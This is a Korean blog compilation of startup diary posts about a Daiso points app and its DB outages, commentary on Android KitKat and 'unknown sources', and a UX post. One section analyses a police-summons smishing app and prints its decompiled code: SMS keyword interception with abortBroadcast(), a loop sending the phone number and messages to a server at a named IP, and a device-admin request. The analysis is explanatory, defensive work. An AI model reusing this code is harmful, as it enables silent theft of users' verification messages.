스타트업 적응기 #4

어제(10/22) 오후 4시경 원인을 알 수 없는 서비스 장애 첫경험을 한 이후에 이런 저런 이야기를 썼었습니다.

여러가지 서비스 장애에 원인에 대한 가설을 세우고 분석 중인 상황입니다만 간단하게 결론이 도출될 것 같지 않습니다. 기술적인 장애도 문제였지만 20여분 간의 장애 발생 시간 동안 거래가 있었던 사용자들의 포인트가 꼬여서 수작업으로 필터링 하는 작업도 만만치 않았습니다.

일단 큰 틀에서 장애 후속 조치를 끝내고 시스템도 정상적으로 동작하는 것을 확인하고 직원들은 대부분 퇴근했습니다

그런데, 오후 8시경 완전히 다른 형태의 서비스 장애가 또 발생했습니다.

기존에는 DB 서버의 CPU 부하가 급격하게 증가하면서 DB connection이 꽉차는 문제가 20여분 동안 지속되었다면 저녁에 발생한 장애는 CPU 부하의 특이사항 없이 DB connection만 full이 되었다가 일시에 release되는 널뛰기를 반복하는 현상이었습니다. 가맹점이나 사용자 입장에서는 서비스 장애가 아니라 반응이 느린 현상으로 인식되어서 크게 이슈가 되지 않았지만 생전 처음 겪는 문제에 모두들 저만 쳐다보는데 경험이 없는 저로써도 멘붕이 될 수 밖에 없었습니다.

여기저기 전화로 지인 찬스를 쓰고, 일단 급한대로 DB 서버를 Upgrade하고 지켜보다 보니 다이소 매장의 영업시간이 오후 10시까지라 자연스럽게 트래픽이 줄어들어서 상황이 종료 되었습니다.

원인파악도 문제지만 원인 파악이 완료되더라도 재발 방지 대책 수립 및 사용자가 급증하는 상황에 맞춰서 안정적인 서비스를 제공할 수 있도록 외주가 개발한 시스템에 대한 전반적인 점검과 함께 튜닝과 리팩토링이 필요한 상황이 되었는데, 사업적인 타이밍을 놓치지 않기 위해서 시스템을 개발해야 하는 로드맵과 함께 기존 레거시 시스템에 대한 대대적인 개편이라는 어려운 숙제를 떠안게 되었습니다.

설립한지 6개월도 채 안되는 회사가 서비스 오픈하고 열흘도 안되어서 20만이라는 사용자를 가지고 레거시 운운하는 상황이 참 웃픕니다.

혹시나 장애가 또 발생할지 몰라서 시스템 모니터링하는 화면을 더 자주 보게 되는데 CPU 부하나 DB connection이 급증하면 심쿵이 장난이 아니고 결과적으로 하루 하루가 스펙터클하네요.

ps. 어제 장애가 발생했다는 글을 썼는데 오히려 ‘축하한다’는 반응이 압도적으로 많았습니다. ㅠ.ㅠ

스타트업 적응기 #3

이 글은 2015년 10월 1일부터 2016년 12월 31일까지 (주)포인트웰이라는 스타트업에 근무하면서 느낀 것을 개인 페이스북에 노트 형식으로 기록했던 것인데 호스팅 서버 이전 기념으로 블로그로 옮긴 것입니다.

10월 16일 정식 서비스 시작
10월 19일 Google Play 라이프스타일 인기앱 4위
10월 19일 가입자 10만 돌파
10월 19일 Google Play 라이프스타일 인기앱 2위
10월 21일 Google Play 라이프스타일 인기앱 1위, 전체 랭킹 25위

비슷한 내용을 연거푸 올려서 페친 분들께서 스팸성 글로 인식하실 것이 뻔함에도 불구하고 입(손?)이 근질근질해서 못참고 개인 페북에 여러번 포스팅했던 내용입니다.

지금까지는 성공한 회사에 입사해서 성공 이후의 모습만 경험하거나, 한번 성공하고 후속 성공을 만들어내지 못해서 회사가 고전하는 경험만 했었지, 서비스 초기부터 폭발적으로 성공하는 것을 가까이서 지켜보는 것은 이번이 처음이다 보니 개인 페북을 빌어서 신기한 경험을 자랑하고 싶었었습니다.

회원이 폭발적으로 증가하다보니 이제는 찾아다니지 않아도 찾아오는 사업 기회들이 생기고, 기술과 솔루션만 가지고 있어서 회원 기반 플랫폼이 필요한 회사를 만나게 되면 금맥을 찾은 것 처럼 들뜨게 되고, 어쩌다가 사업의 전환점이 될만한 아이템을 찾게 되면 뒷골이 짜릿해지는 경험도 자주 하게 됩니다.

이렇게 매일 매일이 새로운 경험으로 가득차다 보니 구름위에 있는 듯 붕떠서 멍한 느낌이 들기도 하면서도 한편으로는 ‘이렇게 좋아도 되나?’라는 반문을 종종 했었습니다.

제가 딱히 뭔가를 하지 않아도.. 당장 할 수 있는 일이 없기도 해서 가까운 미래를 위한 준비부터 차근차근 하자고 마음먹고 이것저것 한뼘씩 앞으로 나가자는 목표를 세우고 구성원들이 Confluence에 익숙해질 수 있도록 이런 저런 사소한 노력을 해왔습니다.

또한, 지금까지 경험해 왔던 회사와 달리 갓 설립된 조직이다보니 미비한 점이 많고 특히 회사 돌아가는 것이 불투명한 점은 너무 어색하고 못참겠어서, 우선적으로 할 수 있는 운영 서버에 와탭(http://whatap.io)을 연결해서 서버 Instance 상태를 실시간 모니터링할 수 있도록 설정하고, DB 서버는 직관적으로 AWS 모니터링 화면을 누구나 볼 수 있도록 회사에 방치되어 있던 장비를 조합해서 설정을 했습니다.

다행(?)인지 불행인지 모니터링 장비 셋업하고 불과 몇십분이 지나지 않아서 DB 서버의 connection과 CPU load가 급격하게 증가하면서 서비스에 장애가 생겼고 회사 전화는 문의/항의 전화로 폭주했고 처음 겪는 비상 상황에 조직은 당황했습니다.

자연스럽게 모니터링 장비 앞이 상황실이 되었고 잘 모르지만 어설프게나마 그럭저럭 장애 조치를 했습니다. 지금은 장애 과정에서 발생한 오류에 대한 후속조치와 재발 방지를 위한 원인 파악을 하느라 모두들 상당히 분주합니다. (분주한 와중에 저는 또 이 글을 쓰고 있네요… ㅡ.ㅡa)

‘호사다마’이면서 ‘전화위복’이 된 이번 장애는 놀라운 성과에 취해서 붕붕 떠 다니던 직원들의 마음을 다잡는 계기가 되었고 서비스 초기에 발생했기 때문에 그나마 크지 않은 비용으로 복구가 가능할 것으로 보이고 사업적으로도 치명적이지 않을 수 있었다고 생각합니다.

스타트업 적응기 #2

원문 발행일: 2015년 10월 16일

드디어 오늘 회사에서 추진하던 서비스를 그랜드 오픈하였습니다.

물론 제가 기여한 게 하나도 없어서 다운로드와 Google play 리뷰, 피드백 등 기타 등등 도와주십사 부탁하기 민망한 처지입니다만 제가 앞으로 발전시켜 나가야 하는 서비스이다 보니 애착을 가지고 있습니다.

9월 중순부터 인천지역 다이소 직영점을 대상으로 Closed beta 서비스를 진행했는데 놀라운 성장 그래프와 함께 90%에 육박하는 Retention rate는 경이롭기까지 했습니다. 이래서 사람들이 포인트와 리워드 등의 서비스를 하는 것인가 하는 생각이 들더군요.

대략 2년반 전에 kth를 나오고(짤리고?) 여기저기 면접 보러 다니던 시절에 지금 회사 사장님에게 면접을 봤었습니다. 당시 건대 부근 상권을 대상으로 직원들이 일일이 발품을 팔면서 지금과 동일한 컨셉의 서비스로 가맹점을 모으고 있었고, 저는 kth에서 지켜봤던 아임인, 푸딩투, .. 등의 소위 가오 나오는 B2C 서비스에 삘이 꽂혀 있었던지라 큰 의미 없이 지나쳤었습니다.

Founder분들의 우여곡절 끝에 지금과 같은 사업 구조를 갖춘 후에 그림을 다시 보니 단순 포인트 사업이 아닌 예전에는 알아보지 못했던 소위 가오 나오는 데이터 비지니스로 진화할 수 있는 여지가 많다는 생각을 하게되었습다. 원래 연말까지 이런저런 기능을 붙여서 추가 개발 계획이 있었는데 지금 이런 급격한 성장세에서 우리에게 필요한 것은 추가 기능이 아니라 성공에 대한 준비라는 생각이 들어서 예정보다 빠른 개발팀 셋업을 시작하게 되었습니다.

여유 있을때 Founder 분들과 티타임을 하거나 사무실에서 격의없이 담소를 나누곤 하는데, 소위 장미빛 실적이 받혀주니 이런 저런 꿈을 꾸는 것이 공상이 아니라 가까운 미래에 실현될 수 있는 현실이고 가벼운 담소에서 사업의 방향과 전략들이 끊임 없이 튀어나오는 벅찬 경험은 kth 이후에 가장 그리웠던 감성이기도 했습니다. 처음에 긴가민가 했던 사업이 이야기를 나눌수록 머리속에서 더 명쾌해지고 ‘이런 상황에서 스타트업을 실패하면 도대체 어떤 사업을 성공할 수 있는거지?’라는 생각까지 하게 됩니다.

어제는 기존 외주개발사를 대체할 개발 파트너사를 찾느라 한 업체를 만나서 이야기를 나누는데, 그 업체가 추진하다가 좌절된 프로젝트와 우리 사업이 너무 잘맞고 협업 시에 시너지가 날 것 같은 느낌이 들어서 회사에 들어오자 마자 그 업체와 사장님이 만날 수 있도록 별도 meeting을 arrange 하였습니다.

사업 성공에 대한 절박함이 있기도 하고, 조직이 작다보니 빠른 의사결정이 많은 기회를 만들어 준다는게 이런 모습이라는 것을 직접 느끼는 계기가 되었습니다.

스타트업 적응기 #1

주식회사 포인트웰은,
생활용품 대표기업 다이소를 포함한 유통, 무역 분야 전문 한웰그룹의 유통분야 계열사입니다.

2015년 10월 다이소멤버십 서비스를 시작으로 제휴사에게는 무료 멤버십 서비스를 제공하고 고객에게는 포인트를 통한 할인 혜택을 제공하는 상생 모델로 320조 오프라인 유통 구조 상의 고객들 매장, 그 안에 24시간 발생하는 구매와 결제 간의모든 거래를 위한 데이터를 분석하여, 프랜차이즈, 광고주, 그리고 그 데이터를 활용하고자 하는 모든 이들이 필요로 하는 정보를 시각적으로 만들어 내는 미래형 데이터 마케팅 기업입니다.

원문 발행일: 2015년 10월 15일

오늘로 (세미?)스타트업으로 이직한지 날짜로는 보름째, 실제 근무한 날로는 열흘 남짓 되는 것 같습니다. 저도 그 동안 글로 배우고 말로만 ‘스타트업’을 외쳤지 진짜로 스타트업에 깊숙히 들어와서 현실을 체감하는 것은 처음이라 가끔 느끼는 바를 공유하고자 합니다.

저희 회사도 올 4월에 창업할 때 구성원은 2명이었고 기획/사업 구성원들은 채용을 했는데, 대부분의 스타트업이 그렇듯 개발은 외주로 시작했습니다. 외주 개발사는 과거 3년여간 Founder들과 같이 일을 해온 신뢰가 두터운 나름 믿음직한 업체였습니다.

하지만, 제가 입사 후 마주친 개발의 품질은 외주 개발사와 Founder들의 두터운 신뢰와는 달리 형편 없는 수준이었고 소위 ‘갑’이 ‘을’에게 을질을 당하고 있었고, 스타트업 구성원들의 절박함과 열정이 개발사와의 지루한 줄다리기로 소모되는 현실이었습니다. Founder들이 개발사에 무한 신뢰를 주고 있었지만 막상 외주 개발사는 외주 그 이상도 그 이하도 아닌 수준으로 개발을 진행하고 있었습니다. 회사에 개발을 아는 구성원이 없다보니 Detail한 개발 요구사항을 만들지 못했고 개발 품질을 관리하지 못했으며 결과적으로 개발은 눈에 보이는 것만 문제 없도록 진행되고 있었습니다. 이대로 더 진행이 된다면 사업 성공 눈앞에서 legacy의 한계 때문에 좌절할 것 처럼 보였습니다.

마음 같아서는 당장 개발사를 바꾸고 싶지만 그 동안 개발을 진행하면서 문서 한장 없이 진행이 되었기 때문에 개발사가 ‘안해!’라고 배째모드가 되면 사업을 접어야 하는 위기 상황이 불보듯 뻔해서 눈물을 머금고 인내하고 있습니다.

이러한 현실로 인해서 내부 개발조직 셋업이 저희 회사가 당면한 가장 큰 현안이고 제 주요 미션이기도 합니다.

그렇다고 다 아시다시피 내부 개발조직 셋업도 사업만큼 절대 수월한 작업이 아닙니다. 저 같아도 이왕이면 ‘네*버’, ‘카*오’, ‘SK플*닛’, … 같은 쟁쟁한 업체에서 고수들과 같이 일하고 싶지 언제 망할지 모르는 스타트업에서 청춘을 보내기는 싫을 것입니다.

Founder들이 회사를 창업하면서 가진 열정과 제가 이 회사에 합류하게 된 동기가 다르듯이, 동료가 되었으면 하는 개발자들이 왜 이 회사로 와야 하는지에 대한 당위성을 제가 증명해야 했습니다. 유일하게 사용할 수 있는 무기는 각 개인에게 잠재되어 있는 ‘숨은 열정’을 찾아서 그 열정을 펼쳐볼 수 있다는 희망을 보여주는 것인데 이 또한 점쟁이 수준이 되어야 가능한 일이라고 보였습니다.

요즘 영입하고 싶은 몇몇 분을 만나뵈면서 나름 제가 생각하는 ‘비전’을 공유하고 제 열정을 보여드리고 있습니다. 만나서는 왜 저와 같이 일해야 하는지 당위성에 대해서 열변을 토하지만 뒤돌아서서는 내가 저 사람 인생을 책임질 수 있을까? ‘만에 하나’라는 상황도 있는데 나중에 관계가 틀어지지 않을까 하는 걱정도 많습니다.

하지만 저는 kth에 입사할때 느꼈던 설레임을 지금 회사에서 다시 느끼고 있습니다.

Kitkat 버전의 관전 포인트

Android 4.4 Kitkat 버전에서 많은 것이 바뀌었는데 대부분이 기술적인 진화였다면 일부 사항은 정책의 변화로 읽을 수 있습니다.

특히, SMS Provider라고 불리우는 부분의 변화는 Launcher 나 Browser같이 기존에 Intent 기반의 동작에 의해서 사용자에게 default application 설정을 물어보는 것이 아니라, SMS라는 특수한 기능에 대해서 default application을 설정하는 최초 사례라는 점에서 눈여겨볼 필요가 있다고 생각합니다.

기존 Android 버전업과 달리 Kitkat에서 이러한 정책 변화가 왜 시작되었느냐를 따져보았을때, Google Hangout에서 SMS/MMS를 본격적으로 지원하기 위한 목적으로 SMS Provider라는 기능이 추가되었다는 점입니다.

(Credit: Jason Cipriani/CNET, http://goo.gl/nFH7Tb)

Google이 Hangout에서 SMS/MMS를 지원하기 위해서는 제조사별/기기별/통신사별 파편화를 극복해야 합니다. SMS/MMS를 지원하려면 극복해야 하는 파편화의 대표적인 문제점은 아래 2가지입니다.

ContentProvider의 URI가 제조사별/단말별로 각기 다른 문제 : URI가 다르면 메시지를 읽어올 수 없기 때문에 각 단말별 파편화된 URI 목록을 경험에 의해서 수집해야 합니다.
ContentObserver로 전달하는 URI 파라미터와 동작이 다른 문제 : SMS/MMS database에 추가/변경/삭제가 발생하는 경우 3rd party application이 이를 감지해야 하는 경우가 있는데 단말별로 동작이 다를뿐 아니라 정상적으로 동작하지 않는 단말이 있어서 정상적인 기능을 수행하지 못하는 경우도 있습니다.

이와 같이 3rd party application이 SMS/MMS를 지원하려면 엄청난 고통이 수반되고 그나마도 100% 호환성을 유지하지 못하기 때문입니다. Google도 Hangout에서 이런 문제에 봉착했고 결국 Android의 규격을 변경하는 방법을 택한 것으로 보입니다.

이는 Google 서비스에 대한 노골적이고 직접적인 지원이고, Google이 Android를 본격적으로 자사에 유리하게 활용하기 시작했다고 의심하기 충분합니다.

Google의 Hangout이 SMS/MMS 기능을 포함하는 시점에 Android 규격이 변경되었다.
Platform과 Hangout application이 동시에 배포되었다.
여타 다른 배포와 달리 Kitkat SMS Provider는 Sample code가 제공되지 않아서 3rd party가 따라가는데 시간적인 장벽이 존재한다.

특히, 2번은 Microsoft가 Windows 버전 업그레이드시에 새로 포함된 기능이 Office에 바로 적용되던 나쁜 관행이 Android에서 재현되는 것 같아서 상당히 우려스럽습니다. GO SMS나 Handcent같은 SMS application이 아직 Kitkat을 지원하지 못하고 있는 상황에서 Hangout이 Platform의 기능을 선점해서 사용하는 것은 출발점이 다른 불공정한 경쟁이기 때문입니다.

추가적으로, SDK를 이용해서 날짜를 선택하는 Dialog를 띄우면 아래와 같이 날짜 선택 화면이 보여집니다.

그런데, Kitkat에 기본 탑재된 달력에서 날짜를 선택하는 UI는 아래 보이는 화면처럼 상당히 직관적이고 개선된 Dialog를 사용합니다.

3rd party application과 Google의 기본 탑재 application이 기본 UI에서부터 공정하지 못한 경쟁을 하고 있다는 것입니다.

이런 상황에서 제조사/통신사들은 경쟁을 위한 차별화만을 추구하면서 파편화를 심화시켜 Android 생태계가 위태로워지고 있습니다. 스타트업을 포함한 3rd party 개발사들이 파편화에 대응하는 비용이 계산이 쉽지는 않겠지만 작지 않은 비용이라고 어렵지 않게 추측할 수 있을 것 같습니다. 가뜩이나 Android 개발의 주도권이 Google에 있다보니 Google과 Android의 경계를 구분하기 어려워지고 있는 이 시점에 Google의 영향력에서 벗어나 자생력을 가지는 방향으로 시장 참여자들의 진지한 고민이 필요하다고 생각합니다. 국내 제조사와 통신사들이 경쟁에만 몰두하지 않고 생태계를 위한 아름다운 합의를 통해서 새로운 규격을 만들거나 기존 파편화 문제를 해결하는 노력을 한다면 Google의 영향력 못지 않은 영향력을 발휘할 수 있는 기반을 갖추고 있다고 보기 때문입니다.

예를들면, 아래와 같이 Launcher 아이콘에 표시되는 badge같은 사례가 될 것 같습니다. 비록 Android 표준은 아니지만 삼성/LG 단말에 이미 구현되어 있는데 해당 기능이 표준화되어 있지 않고 3rd party에게 열려있지 않아서 제조사 탑재 기본 어플과 제조사와 제휴를 맺는 일부 업체만 해당 기능을 사용하고 있기 때문입니다. 유용한 기능이라면 삼성/LG가 규격을 표준화해서 Google의 표준화 여부와 상관 없이 단말에 기능을 탑재해서 출시한다면 결국 표준으로 자리 잡지 않을까요?

facebook icon

‘알 수 없는 소스’에 대한 노파심

‘알 수 없는 소스’의 실체

최근에 잠시 주춤하지만 불과 얼마전 ‘돌잔치 초대‘라는 기발(?)한 아이디어로 전국민을 멘붕에 빠트리고 공중파 뉴스에 나올 정도로 스미싱이 핫이슈가 된 적이 있었습니다. 그동안 스미싱/피싱이 남의 일이라고 생각하고 체감하지 못했던 Android 사용자들에게는 어쩌면 큰 충격이었을테고 그 여파인지 몰라도 스미싱 관련한 글이 부쩍 증가했습니다. 아래 관련 글 링크 몇개 목록을 포함해서 스미싱 방지 대책을 보면 공통적인 사항이 하나가 있습니다.

바로 ‘알 수 없는 소스‘ 체크 해제에 대한 안내입니다.

‘알 수 없는 소스‘란 Google Play 스토어를 통하지 않고 ‘앱’을 설치하지 않도록 설정하는 기능인데, 사실 Google Play 스토어가 Apple의 앱스토어처럼 검수를 하는 것도 아니고 스미싱 피해를 방지하는 근본적인 대책은 아니라는 것입니다.

그럼, ‘알 수 없는 소스’ 체크 해지를 유도하는 경우에는 어떤 상황이 발생할까요?

제가 가장 우려하는 상황은 ‘Google Play Store 종속‘입니다. T-store같이 통신사를 통해서 제조사 출시 단말에 기본 탑재해서 출시하는 경우에는 T-store 앱이 시스템 권한을 가지기 때문에 ‘알 수 없는 소스’의 체크 여부와 상관 없이 동작하지만 ‘N스토어‘같이 통신사/제조사 조력을 받을 수 없는 3rd party 앱스토어의 경쟁력이 저하되고 새로운 앱스토어나 그에 준하는 기회가 사전에 박탈되면서 Google Play Store 독점 현상이 심화되는 것입니다.

그럼, Google에 종속되지 않으면서 ‘알 수 없는 소스’라는 설정을 통해서 사용자에게 제공하려는 안정성과 신뢰에 대한 가치는 어떻게 지키는 것이 좋을까요?

제가 생각하는 대안은, 사용자들이 싫어하는 쓸데 없는 통신사 로고 추가와 같은 노력을 할 시간에 피쳐폰의 WIPI 수준까지는 아니어도 통신사/제조사들이 협력해서 상생하고 생태계를 만들어가는 구심점을 만드는 것입니다. 예를 들자면 등록된 개발자(Signing key 또는 그에 준하는 방법)에 한해서 ‘알 수 없는 소스’가 아닌 것으로 단말이 인식하거나 하는 방법이 될 것 같습니다.

Kitkat 버전의 관전 포인트

‘알 수 없는 소스’가 Google 서비스 Lock-in을 간접적으로 유도했다면, Kitkat 버전에서는 Google 서비스에 대한 노골적이고 직접적인 지원이 시작됩니다. 이번 Kitkat 버전에서 많은 것이 바뀌었지만 Google 서비스에 대한 직접적인 지원이라고 표현하는 부분은 바로 SMS 규격의 변화입니다. Google이 Android를 본격적으로 자사에 유리하게 활용하기 시작한 것으로 보이기 때문입니다.

Google의 Hangout이 SMS/MMS 기능을 포함하면서 파편화 대응에 한계를 느꼈기 때문에 Android 규격을 바꿨다.
Platform과 Hangout application이 동시에 배포되었다.
여타 다른 배포와 달리 Kitkat SMS는 Sample code가 제공되지 않아서 3rd party가 따라가는데 시간적인 장벽이 존재한다.

특히, 2번은 Microsoft가 Windows 버전 업그레이드시에 새로 포함된 기능이 Office에 바로 적용되던 나쁜 관행이 Android에서 재현되는 것 같아서 상당히 우려스럽니다. GO SMS나 Handcent같은 SMS application이 아직 Kitkat을 지원하지 못하고 있는 상황에서 Hangout이 Platform의 기능을 선점해서 사용하는 것은 출발점이 다른 불공정한 경쟁이기 때문입니다.

경쟁을 위한 차별화만을 추구하면서 통신사/제조사별로 파편화가 심해져서 Android 생태계가 위태로워지고 있고, 스타트업을 포함한 3rd party 개발사들이 파편화에 대응하는 비용이 계산이 쉽지는 않겠지만 작지 않은 비용이라고 어렵지 않게 추측할 수 있을 것 같습니다. 가뜩이나 Android 개발의 주도권이 Google에 있다보니 Google과 Android의 경계를 구분하기 어려워지고 있는 이 시점에 Google의 영향력에서 벗어나서 자생력을 가지는 방향으로 진지한 고민이 필요하다고 생각합니다.

Android 스미싱 사례 분석

얼마 전에 저희 팀 개발자에게 지방경찰청의 민사소송 출석요구서를 빙자한 스미싱 문자가 발송되었습니다.

스미싱 방지 기능이 포함된 ‘메시지통‘ 개발자이기 때문에 스미싱임을 충분히 인지한 상태였지만, 문자 내용상으로 ‘경찰청’, ‘민사소송’, ‘출석요구서’ 등 일반인들에게는 충분히 위화감을 줄 수 있는 단어가 포함되어 있다보니 메시지를 받는 순간 가슴이 쫄깃쫄깃해졌다고 합니다.

이에 개발자가 열받아서 스미싱앱을 직접 다운받고 분석해서 일반인을 위한 내용을 저희 서비스 공식 블로그를 통해서 ‘스미싱 앱 수신부터 삭제까지~ (스미싱 앱 원리 파헤치기)‘라는 글을 발행하였습니다. 아무래도 개발자가 분석한 내용에 비해서 기술적인 내용이 많이 생략되었고, 개발자분들이야 맘만 먹으면 다 분석할 수 있는 내용이지만 저도 막상 스미싱앱을 직접 분석해본 적은 없었기에 개발자분들의 귀차니즘과 궁금증을 동시에 해소해드릴까 해서 글을 포스팅합니다.

1.앱의 권한

경찰청 출석요구서 스미싱앱의 권한은 SMS를 수집해서 특정 서버로 전송하는 기능을 수행하기 위한 권한을 포함하고 있습니다. “RECEIVE_MMS“나 “WAKE_LOCK” 등은 코드 분석결과 사용하지 않는 권한으로 확인되었습니다.

<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.RECEIVE_MMS" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />

2.주요 동작

앱 설치후 실행 시에는 사용자가 인지할 수 있는 동작은 수행하지 않습니다. 다만, 최초 구동 시에는 사용자가 모르게 http://126.114.228.119 URL로 단말 전화번호와 사용중인 통신사 정보를 전송합니다.

이후에는 SMS가 수신되면 ‘인증‘, ‘결재‘, ‘보호‘, ‘휴대폰‘, ‘번호‘, ‘www‘ 등의 문자열이 포함된 경우에 abortBroadcast() 호출을 통해서 다른 SMS 수신 앱으로 SMS가 전달되지 않도록 합니다. 다만, SMS receiver의 priority가 1000밖에 안되어서 모든 앱이 SMS를 수신하지 못하는 것은 아닙니다.

단말 전화번호와 사용중인 통신사 정보를 수집하는 부분과 특정 문자열을 포함한 문자메시지를 왜 서버로 전달하지 않는지는 추측하기 쉽지 않지만 기술적으로는 조금 허술하게 구현된 측면이 있습니다.

if (s1.indexOf("\uC778\uC99D") >= 0) { // 인증
	towNum = (new StringBuilder()).append(s).toString();
	comten = (new StringBuilder()).append(s1).toString();
	D = true;
	abortBroadcast();
}

if (s1.indexOf("\uACB0\uC81C") >= 0) { // 결재
	towNum = (new StringBuilder()).append(s).toString();
	comten = (new StringBuilder()).append(s1).toString();
	D = true;
	abortBroadcast();
}

if (s1.indexOf("\uBCF4\uD638") >= 0) { // 보호
	towNum = (new StringBuilder()).append(s).toString();
	comten = (new StringBuilder()).append(s1).toString();
	D = true;
	abortBroadcast();
}

if (s1.indexOf("\uD734\uB300\uD3F0") >= 0) { // 휴대폰
	towNum = (new StringBuilder()).append(s).toString();
	comten = (new StringBuilder()).append(s1).toString();
	D = true;
	abortBroadcast();
}

if (s1.indexOf("\uBC88\uD638") >= 0) { // 번호
	towNum = (new StringBuilder()).append(s).toString();
	comten = (new StringBuilder()).append(s1).toString();
	D = true;
	abortBroadcast();
}

if (s1.indexOf("www") >= 0) {
	towNum = (new StringBuilder()).append(s).toString();
	comten = (new StringBuilder()).append(s1).toString();
	D = true;
	abortBroadcast();
}

이렇게 특정 문자열에 대해서 abortBroadcast()로 SMS 수신앱에 전달되지 않게 한 이후에는 별도로 실행되는 Service를 통해서 SMS를 서버로 전달하게 됩니다.

public void onCreate() {
    super.onCreate();
    new Thread(new Runnable() {
        public void run() {
            while (true) {
                if (!clService.this.threadDisable)
                    return;
                try {
                    Thread.sleep(1000 L);
                    if (SMS.D) {
                        SMS.D = false;
                        String str = clService.this.tool.postHttpConnection(SMS.usehost, SMS.ponNum, SMS.towNum, SMS.comten);
                        Log.v("clService", "post：" + str);
                    }
                } catch (InterruptedException localInterruptedException) {}
            }
        }
    }).start();
}

3.특이사항

실제로 동작하지는 않지만 Device Admininistration 관련된 Code가 포함되어 있습니다.

Android 2.2부터 추가된 Device Policy Management는 단말의 Lock을 설정하거나 Data를 모두 지우거나 Password를 Reset하는 등의 단말 관리 정책을 사용하려고 시도 했다는 것인데, 보통은 Exchange 서버를 사용하는 Email앱을 사용할때 보여지는 화면이고 휴대폰의 분실 또는 기타 사유에 의해서 정보 유출을 방지하고자 선의로 사용되는 기능입니다.

다음과 같은 코드로 기기 권한 활성화 Activity를 호출하고자 구현되어 있고 실제로 호출되었다면 단순 스미싱이 아닌 더 큰 재앙(?)이 될 뻔했습니다. 물론 기기 권한 활성화는 별도 사용자의 동의가 없이는 동작하지 않기 때문에 우려하는 재앙이 발생할 개연성은 높지 않으리라 봅니다만 악용하면 위험한 기능임에는 틀림이 없습니다.

private void startAddDeviceAdminAty()
{
    Intent localIntent = new Intent("android.app.action.ADD_DEVICE_ADMIN");
    localIntent.putExtra("android.app.extra.DEVICE_ADMIN", DAR.getCn(this));
    localIntent.putExtra("android.app.extra.ADD_EXPLANATION", "테스트");
    startActivityForResult(localIntent, 10001);
}

더 나은 Android application 만들기 – 두번째

더 나은 Android application 만들기 에 보여주신 엄청난 관심에 힘입어 2편을 준비하게 되었습니다. 1편에서는 아무래도 기존에 출시된 앱을 기준으로 문제점을 지적하다보니 바람직한 UI에 대해서 대안을 제시하는데 부족했다는 생각이 들어서 다른 접근으로 제가 참여하는 프로젝트에서 UI/UX를 개선하는 사례를 중심으로 이야기를 해볼까 합니다.

저는 이런 화면을 보면 업체 측에서 면피를 위해서 사용자들에게 ‘법대로 해보자!‘라고 이야기하는 느낌이어서 앱의 첫화면에서 없앴으면 좋겠다고 생각했는데, 막상 내막을 알아보니 정부 모기관의 가이드라인이라고 하더군요. 단순 가이드라인이라고 하니 더 나은 사용자 경험을 위해서 안지키면? 이라고 얘기했더니 같이 일하는 동료가 고개를 절래절래 흔들었습니다. 뭔가 무서운 일이 발생할 수 있나 봅니다. 일단 지켜야…

어짜피 지켜야 할 가이드라인이라면 사용자에게 부담을 주지 않고 클릭하도록 하는 것이 좋다고 생각했습니다. 약관의 대부분은 대동소이했지만 저희가 서비스하고자 하는 앱은 전화번호와 가공된 기기 식별자를 수집한다는 점이 달랐습니다. 해당 내용은 이미 약관에 포함되어 있고 대부분의 사용자들이 약관을 읽지 않고 기계적으로 동의한다는 것도 알고 있습니다. 하지만 저희는 그 부분은 핵심적으로 간결하게 알릴 필요가 있다고 판단해서 별도로 표기했습니다. (캡쳐한 화면에서 보여지는 문구는 개선할 계획입니다.)

이 약관 화면에서 의도한 것은 현대카드 광고 중 ‘현대라이프 ZERO‘ 에서 영감을 얻어서 복잡한 약관 화면을 생략하는 대신 사용자가 알아야 할 내용을 명확히 알리고자 했습니다.

아무래도 제약이 덜한 외국 업체인 ‘GO SMS’는 앱 최초 실행 시에 약관을 보여주는 것이 아니라 부가 서비스 사용을 위해서 약관이 적용될만한 개인 정보를 수집하는 시점에 약관 동의를 받습니다. 가이드라인 제약없이 할 수만 있다면 더 바람직한 방향이라고 생각합니다.

Android에서는 SMS 수신 기능을 가진 모든 앱이 SMS 수신 이벤트를 받기 때문에 ‘알림’ 기능이 중복되는 경우가 있어서 GO SMS를 포함한 일부 앱에서는 이러한 알림 중복을 해결하기 위해서 다른 앱에 이벤트가 전달되지 않도록 하는 기능을 포함하기도 합니다. 이런 경우 사용자는 하나의 메시지에 대해서 다수의 중복 알림을 받거나, 특정 앱에서 설정을 했는데 알림이 오지 않는 문제를 만날 수 있고, 이런 부분에 대해서 해결책이 막막할 수 밖에 없습니다. 이러한 문제점에 대한 안내는 앱이 최초 실행되는 시점에 SMS 수신 기능을 사용하는 앱의 목록을 사용자에게 명시적으로 보여줌으로써 보완하고자 했습니다.

‘아래 앱들의 SMS 수신 또는 알림설정에 따라 메시지통 서비스가 원활하게 동작하지 않을 수 있습니다.’ 문구는 많이 사용되는 표현이기는 합니다만, 사용자 입장에서는 ‘그래서 어쩌라고?‘라는 생각을 할 수 밖에 없습니다. 문구를 만들때 많이 간과하는 부분이라고 생각합니다.

얼마 전에 SNS에 화제가 되었던 OS 업데이트 관련 문구도 개발자 입장에서 서버와의 통신 결과에 따라서 당연히 ‘업데이트가 없습니다.‘라고 표현하는데, 사용자 입장에서는 ‘최신 버전입니다.‘ 라고 표현하는 것이 맞다는 내용도 일맥상통하는 사례입니다.

변경된 문구는,

‘아래 앱들의 SMS 수신 또는 알림설정을 확인해주세요. 설정에 따라서 메시지통으로 메시지가 수신되지 않을 수 있습니다.‘

사용자가 어떤 행동을 취해야 하는지와 발생할 수 있는 오동작에 대한 안내를 명확하게 표현하고 있습니다.

알림 팝업 설정 화면입니다. 전화번호부에 있는 번호로부터 수신된 메시지가 수신되는 ‘메시지함’과 카드사/은행으로부터 수신되는 ‘거래내역’ 그외 알수 없는 번호로부터 수신되는 ‘미확인 번호’ 등 조건에 따라서 메시지를 구분해서 표시하는데 각각에 대해서 알림을 표시하는 방법을 설정하는 화면입니다.

구 피쳐폰을 사용하는 SMS 사용자에게 익숙한 팝업으로 알리는 기능과 화면에서 방해받지 않고 알림을 받을 수 있는 상태바 표시 설정을 변경할 수 있는데 문구에 익숙하지 않을 수 있는 사용자를 위해서 시각적으로 설정에 따른 동작 예시를 보여주고 있습니다.

